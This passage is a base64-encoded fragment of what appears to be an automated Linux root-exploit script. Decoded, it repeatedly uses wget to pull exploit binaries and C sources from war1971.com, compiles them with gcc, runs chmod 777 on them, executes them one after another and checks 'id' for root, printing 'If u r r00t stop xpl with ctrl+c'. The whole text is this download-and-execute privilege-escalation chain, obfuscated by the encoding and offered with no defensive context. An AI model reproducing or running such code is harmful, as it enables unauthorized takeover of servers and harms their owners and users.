  838. ZXhwNCIpOyANCnN5c3RlbSgiLi9leHA0Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgid2dl
  839. dCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvZXhwNSIpOyAgDQpzeXN0ZW0o
  840. ImNobW9kIDc3NyBleHA1Iik7IA0Kc3lzdGVtKCIuL2V4cDUiKTsgDQpzeXN0ZW0oImlkIik7IA0K
  841. c3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy9leHA2Iik7
  842. ICANCnN5c3RlbSgiY2htb2QgNzc3IGV4cDYiKTsgDQpzeXN0ZW0oIi4vZXhwNiIpOyANCnN5c3Rl
  843. bSgiaWQiKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5NzEuY29tL0NNU19GSUxFUy9maWxl
  844. L2NjL2V4cDciKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwNyIpOyANCnN5c3RlbSgiLi9leHA3
  845. Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01T
  846. X0ZJTEVTL2ZpbGUvY2MvZXhwOCIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyBleHA4Iik7IA0Kc3lz
  847. dGVtKCIuL2V4cDgiKTsgDQpzeXN0ZW0oImlkIik7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIx
  848. OTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy9leHA5Iik7ICANCnN5c3RlbSgiY2htb2QgNzc3IGV4
  849. cDkiKTsgDQpzeXN0ZW0oIi4vZXhwOSIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSBy
  850. IHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5
  851. NzEuY29tL0NNU19GSUxFUy9maWxlL2NjL3J1bjIiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgcnVu
  852. MiIpOyANCnN5c3RlbSgiLi9ydW4yIik7IA0Kc3lzdGVtKCJpZCIpOyANCnByaW50ICJJZiB1IHIg
  853. cjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3
  854. MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvcnVuMiIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyBydW4y
  855. Iik7IA0Kc3lzdGVtKCIuL3J1bjIiKTsgDQpzeXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciBy
  856. MDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcx
  857. LmNvbS9DTVNfRklMRVMvZmlsZS9jYy9leHBsb2l0Iik7ICANCnN5c3RlbSgiY2htb2QgNzc3IGV4
  858. cGxvaXQiKTsgDQpzeXN0ZW0oIi4vZXhwbG9pdCIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAi
  859. SWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDov
  860. L3dhcjE5NzEuY29tL0NNU19GSUxFUy9maWxlL2NjL2V4cGxvaXQyIik7ICANCnN5c3RlbSgiY2ht
  861. b2QgNzc3IGV4cGxvaXQyIik7IA0Kc3lzdGVtKCIuL2V4cGxvaXQyIik7IA0Kc3lzdGVtKCJpZCIp
  862. OyANCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgi
  863. d2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvZXhwbG9pdDIiKTsgIA0K
  864. c3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdDIiKTsgDQpzeXN0ZW0oIi4vZXhwbG9pdDIiKTsgDQpz
  865. eXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4i
  866. Ow0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy9ydW4y
  867. Iik7ICANCnN5c3RlbSgiY2htb2QgNzc3IHJ1bjIiKTsgDQpzeXN0ZW0oIi4vcnVuMiIpOyANCnN5
  868. c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7
  869. DQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5NzEuY29tL0NNU19GSUxFUy9maWxlL2NjLzIwMDkt
  870. MSIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyAyMDA5LTEiKTsgDQpzeXN0ZW0oIi4vMjAwOS0xIik7
  871. IA0Kc3lzdGVtKCJpZCIpOyANCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwr
  872. Y1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2Mv
  873. ZGVybGUuYyIpOyANCnN5c3RlbSgiZ2NjIGRlcmxlLmMgLW8gZGVybGUiKTsgIA0Kc3lzdGVtKCJj
  874. aG1vZCA3NzcgZGVybGUiKTsgDQpzeXN0ZW0oIi4vZGVybGUiKTsgDQpzeXN0ZW0oImlkIik7IA0K
  875. cHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0
  876. IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy8zLmMiKTsgDQpzeXN0ZW0oImdj
  877. YyAzLmMgLW8gMyIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyAzIik7IA0Kc3lzdGVtKCIuLzMiKTsg
  878. DQpzeXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtj
  879. XG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy8z
  880. YSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDNhIik7IA0Kc3lzdGVtKCIuLzNhIik7IA0Kc3lzdGVt
  881. KCJpZCIpOyANCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsNCnN5
  882. c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvNC5jIik7IA0K
  883. c3lzdGVtKCJnY2MgNC5jIC1vIDQiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgNCIpOyANCnN5c3Rl
  884. bSgiLi80Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3
  885. aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVT
  886. L2ZpbGUvY2MvNGEiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyA0YSIpOyANCnN5c3RlbSgiLi80YSIp
  887. OyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJs
  888. K2NcbiI7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9j
  889. Yy9jeC5jIik7IA0Kc3lzdGVtKCJnY2MgY3guYyAtbyBjeCIpOyAgDQpzeXN0ZW0oImNobW9kIDc3
  890. NyBjeCIpOyANCnN5c3RlbSgiLi9jeCIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSBy
  891. IHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIx
  892. OTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy9jeHguYyIpOyANCnN5c3RlbSgiZ2NjIGN4eC5jLSBv
  893. IGN4eCIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyBjeHgiKTsgDQpzeXN0ZW0oIi4vY3h4Iik7IA0K
  894. c3lzdGVtKCJpZCIpOyANCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xu
  895. IjsgDQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5NzEuY29tL0NNU19GSUxFUy9maWxlL2NjL2V4
  896. cGxvaXQyIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdDIiKTsgDQpzeXN0ZW0oIi4vZXhw
  897. bG9pdDIiKTsgDQpzeXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdp
  898. dGggY3RybCtjXG4iOyANCnN5c3RlbSgid2dldCBydW4gaHR0cDovL3dhcjE5NzEuY29tL0NNU19G
  899. SUxFUy9maWxlL2NjL3J1biIpOyANCnN5c3RlbSgiY2htb2QgNzc3IHJ1biIpOyANCnN5c3RlbSgi
  900. Li9ydW4iKTsgDQpzeXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdp
  901. dGggY3RybCtjXG4iOyANCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVT
  902. L2ZpbGUvY2MvcnVuLnNoIik7ICANCnN5c3RlbSgiY2htb2QgNzc3IHJ1bi5zaCIpOyANCnN5c3Rl
  903. bSgiLi9ydW4uc2giKTsgDQpzeXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0IHN0b3Ag
  904. eHBsIHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNf
  905. RklMRVMvZmlsZS9jYy8yOS5jIik7IA0Kc3lzdGVtKCJnY2MgMjkuYyAtbyAyOSIpOyAgDQpzeXN0
  906. ZW0oImNobW9kIDc3NyAyOSIpOyANCnN5c3RlbSgiLi8yOSIpOyANCnN5c3RlbSgiaWQiKTsgDQpw
  907. cmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oImh0dHA6
  908. Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy8zMCIpOyAgDQpzeXN0ZW0oImNobW9kIDc3
  909. NyAzMCIpOyANCnN5c3RlbSgiLi8zMCIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSBy
  910. IHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5
  911. NzEuY29tL0NNU19GSUxFUy9maWxlL2NjLzIwMDkiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAw
  912. OSIpOyANCnN5c3RlbSgiLi8yMDA5Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnByaW50ICJJZiB1IHIg
  913. cjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3
  914. MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvaXNrb3JwaXR4Iik7ICANCnN5c3RlbSgiY2htb2QgNzc3
  915. IGlza29ycGl0eCIpOyANCnN5c3RlbSgiLi9pc2tvcnBpdHgiKTsgDQpzeXN0ZW0oImlkIik7IA0K
  916. cHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0
  917. IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy9jIik7ICANCnN5c3RlbSgiY2ht
  918. b2QgNzc3IGMiKTsgDQpzeXN0ZW0oIi4vYyIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYg
  919. dSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3dh
  920. cjE5NzEuY29tL0NNU19GSUxFUy9maWxlL2NjL2N4Iik7ICANCnN5c3RlbSgiY2htb2QgNzc3IGN4
  921. Iik7IA0Kc3lzdGVtKCIuL2N4Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnByaW50ICJJZiB1IHIgcjAw
  922. dCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5j
  923. b20vQ01TX0ZJTEVTL2ZpbGUvY2MvZGVybGUyIik7ICANCnN5c3RlbSgiY2htb2QgNzc3IGRlcmxl
  924. MiIpOyANCnN5c3RlbSgiLi9kZXJsZTIiKTsgDQpzeXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUg
  925. ciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIx
  926. OTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy9kZXJsZSIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyBk
  927. ZXJsZSIpOyANCnN5c3RlbSgiLi9kZXJsZSIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYg
  928. dSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3dh
  929. cjE5NzEuY29tL0NNU19GSUxFUy9maWxlL2NjLzZ4LmMiKTsgIA0Kc3lzdGVtKCJnY2MgNnguYyAt
  930. byA2eGEiKTsgDQpzeXN0ZW0oIi4vNnhhIik7IA0Kc3lzdGVtKCJpZCIpOyANCnByaW50ICJJZiB1
  931. IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vd2Fy
  932. MTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvNngiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgNngi
  933. KTsgDQpzeXN0ZW0oIi4vNngiKTsgDQpzeXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0
  934. IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNv
  935. bS9DTVNfRklMRVMvZmlsZS9jYy82YiIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyA2YiIpOyANCnN5
  936. c3RlbSgiLi82YiIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4
  937. cGwgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5NzEuY29tL0NNU19G
  938. SUxFUy9maWxlL2NjLzZ4eCIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyA2eHgiKTsgDQpzeXN0ZW0o
  939. Ii4vNnh4Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3
  940. aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVT
  941. L2ZpbGUvY2MvMjc3MDQiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgMjc3MDQiKTsgDQpzeXN0ZW0o
  942. Ii4vMjc3MDQiKTsgDQpzeXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBs
  943. IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklM
  944. RVMvZmlsZS9jYy9kZXJsZTIuYyIpOyANCnN5c3RlbSgiZ2NjIGRlcmxlMi5jIC1vIGRlcmxlMiIp
  945. OyAgDQpzeXN0ZW0oImNobW9kIDc3NyBkZXJsZTIiKTsgDQpzeXN0ZW0oIi4vZGVybGUyIik7IA0K
  946. c3lzdGVtKCJpZCIpOyANCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xu
  947. IjsNCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvZGVy
  948. bGUyIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZGVybGUyIik7IA0Kc3lzdGVtKCIuL2RlcmxlMiIp
  949. OyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJs
  950. K2NcbiI7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9j
  951. Yy8yOC5jIik7IA0Kc3lzdGVtKCJnY2MgMjguYyAtbyAyOCIpOyANCnN5c3RlbSgiY2htb2QgNzc3
  952. IDI4Iik7IA0Kc3lzdGVtKCIuLzI4Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgiLi8yOCIp
  953. OyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJs
  954. K2NcbiI7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9j
  955. Yy8yNy5jIik7IA0Kc3lzdGVtKCJnY2MgMjcuYyAtbyAyNyIpOyANCnN5c3RlbSgiY2htb2QgNzc3
  956. IDI3Iik7IA0Kc3lzdGVtKCIuLzI3Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgiLi8yNyIp
  957. OyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJs
  958. K2NcbiI7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9j
  959. Yy9jLmMiKTsgDQpzeXN0ZW0oImdjYyBjLmMgLW8gYyIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGMi
  960. KTsgDQpzeXN0ZW0oIi4vYyIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4vYyIpOyANCnN5
  961. c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7
  962. IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy9jMi5j
  963. Iik7IA0Kc3lzdGVtKCJnY2MgYzIuYyAtbyBjMiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGMyIik7
  964. IA0Kc3lzdGVtKCIuL2MyIik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgiLi9jMiIpOyANCnN5
  965. c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7
  966. IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy8wNSIp
  967. OyANCnN5c3RlbSgiY2htb2QgNzc3IDA1Iik7IA0Kc3lzdGVtKCIuLzA1Iik7IA0Kc3lzdGVtKCJp
  968. ZCIpOyANCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgDQpzeXN0
  969. ZW0oIndnZXQgaHR0cDovL3dhcjE5NzEuY29tL0NNU19GSUxFUy9maWxlL2NjL2lza28iKTsgDQpz
  970. eXN0ZW0oImNobW9kIDc3NyBpc2tvIik7IA0Kc3lzdGVtKCIuL2lza28iKTsgDQpzeXN0ZW0oImlk
  971. Iik7DQpzeXN0ZW0oIi4vaXNrbyIpOyANCnN5c3RlbSgiaXNrbyIpOw0KcHJpbnQgIklmIHUgciBy
  972. MDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyANCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3
  973. MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvMTgiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAxOCIpOyAN
  974. CnN5c3RlbSgiLi8xOCIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4vMTgiKTsgDQpzeXN0
  975. ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAN
  976. CnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvNyIpOyAN
  977. CnN5c3RlbSgiY2htb2QgNzc3IDciKTsgDQpzeXN0ZW0oIi4vNyIpOyANCnN5c3RlbSgiaWQiKTsg
  978. DQpzeXN0ZW0oIi4vNyIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3Rv
  979. cCB4cGwgd2l0aCBjdHJsK2NcbiI7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9D
  980. TVNfRklMRVMvZmlsZS9jYy83LTIiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyA3LTIiKTsgDQpzeXN0
  981. ZW0oIi4vNy0yIik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgiLi83LTIiKTsgDQpzeXN0ZW0o
  982. ImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyANCnN5
  983. c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvOCIpOyANCnN5
  984. c3RlbSgiY2htb2QgNzc3IDgiKTsgDQpzeXN0ZW0oIi4vOCIpOyANCnN5c3RlbSgiaWQiKTsgDQpz
  985. eXN0ZW0oIi4vOCIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4
  986. cGwgd2l0aCBjdHJsK2NcbiI7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNf
  987. RklMRVMvZmlsZS9jYy84YSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDhhIik7IA0Kc3lzdGVtKCIu
  988. LzhhIik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgiLi84YSIpOyANCnN5c3RlbSgiaWQiKTsg
  989. DQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IA0Kc3lzdGVtKCJ3
  990. Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy84YmIiKTsgDQpzeXN0ZW0o
  991. ImNobW9kIDc3NyA4YmIiKTsgDQpzeXN0ZW0oIi4vOGJiIik7IA0Kc3lzdGVtKCJpZCIpOyANCnBy
  992. aW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgDQpzeXN0ZW0oIndnZXQg
  993. aHR0cDovL3dhcjE5NzEuY29tL0NNU19GSUxFUy9maWxlL2NjLzhjYyIpOyANCnN5c3RlbSgiY2ht
  994. b2QgNzc3IDhjYyIpOyANCnN5c3RlbSgiLi84Y2MiKTsgDQpzeXN0ZW0oImlkIik7IA0KcHJpbnQg
  995. IklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyANCnN5c3RlbSgid2dldCBodHRw
  996. Oi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvOHgiKTsgDQpzeXN0ZW0oImNobW9kIDc3
  997. NyA4eCIpOyANCnN5c3RlbSgiLi84eCIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4vOHgi
  998. KTsgDQpzeXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3Ry
  999. bCtjXG4iOyANCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUv
  1000. Y2MvOSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDkiKTsgDQpzeXN0ZW0oIi4vOSIpOyANCnN5c3Rl
  1001. bSgiaWQiKTsgDQpzeXN0ZW0oIi4vOSIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSBy
  1002. IHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIx
  1003. OTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy9rcmFkMiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGty
  1004. YWQyIik7IA0Kc3lzdGVtKCIuL2tyYWQyIik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgiLi9r
  1005. cmFkMiAtdCAxIC1wIDIiKTsgDQpzeXN0ZW0oImlkIik7IA0Kc3lzdGVtKCIuL2tyYWQyIC10IDEg
  1006. LXAgMyIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4va3JhZDIgLXQgMSAtcCA0Iik7IA0K
  1007. c3lzdGVtKCJpZCIpOyANCnN5c3RlbSgiLi9rcmFkMiAtdCAxIC1wIDUiKTsgDQpzeXN0ZW0oImlk
  1008. Iik7IA0Kc3lzdGVtKCIuL2tyYWQyIC10IDEgLXAgNiIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0
  1009. ZW0oIi4va3JhZDIgLXQgMSAtcCA3Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgiLi9rcmFk
  1010. MiAtdCAxIC1wIDgiKTsgDQpzeXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0IHN0b3Ag
  1011. eHBsIHdpdGggY3RybCtjXG4iOyANCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01T
  1012. X0ZJTEVTL2ZpbGUvY2Mva3JhZCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGtyYWQiKTsgDQpzeXN0
  1013. ZW0oIi4va3JhZCIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4va3JhZCAtdCAxIC1wIDIi
  1014. KTsgDQpzeXN0ZW0oImlkIik7IA0Kc3lzdGVtKCIuL2tyYWQgLXQgMSAtcCAzIik7IA0Kc3lzdGVt
  1015. KCJpZCIpOyANCnN5c3RlbSgiLi9rcmFkIC10IDEgLXAgNCIpOyANCnN5c3RlbSgiaWQiKTsgDQpz
  1016. eXN0ZW0oIi4va3JhZCAtdCAxIC1wIDUiKTsgDQpzeXN0ZW0oImlkIik7IA0Kc3lzdGVtKCIuL2ty
  1017. YWQgLXQgMSAtcCA2Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgiLi9rcmFkIC10IDEgLXAg
  1018. NyIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4va3JhZCAtdCAxIC1wIDgiKTsgDQpzeXN0
  1019. ZW0oImlkIik7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmls
  1020. ZS9jYy9rLXJhZDMiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBrLXJhZDMiKTsgDQpzeXN0ZW0oIi4v
  1021. ay1yYWQzIC10IDEgLXAgMiIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4vay1yYWQzIC10
  1022. IDEgLXAgMyIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4vay1yYWQzIC10IDEgLXAgNCIp
  1023. OyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4vay1yYWQzIC10IDEgLXAgNSIpOyANCnN5c3Rl
  1024. bSgiaWQiKTsgDQpzeXN0ZW0oIi4vay1yYWQzIC10IDEgLXAgNiIpOyANCnN5c3RlbSgiaWQiKTsg
  1025. DQpzeXN0ZW0oIi4vay1yYWQzIC10LXAgMiIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4v
  1026. ay1yYWQzIC10IC1wIDIiKTsgDQpzeXN0ZW0oImlkIik7IA0Kc3lzdGVtKCIuL2stcmFkMyAtYSAt
  1027. cCA3Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgiLi9rLXJhZDMgLWEgLXAgNyIpOyANCnN5
  1028. c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7
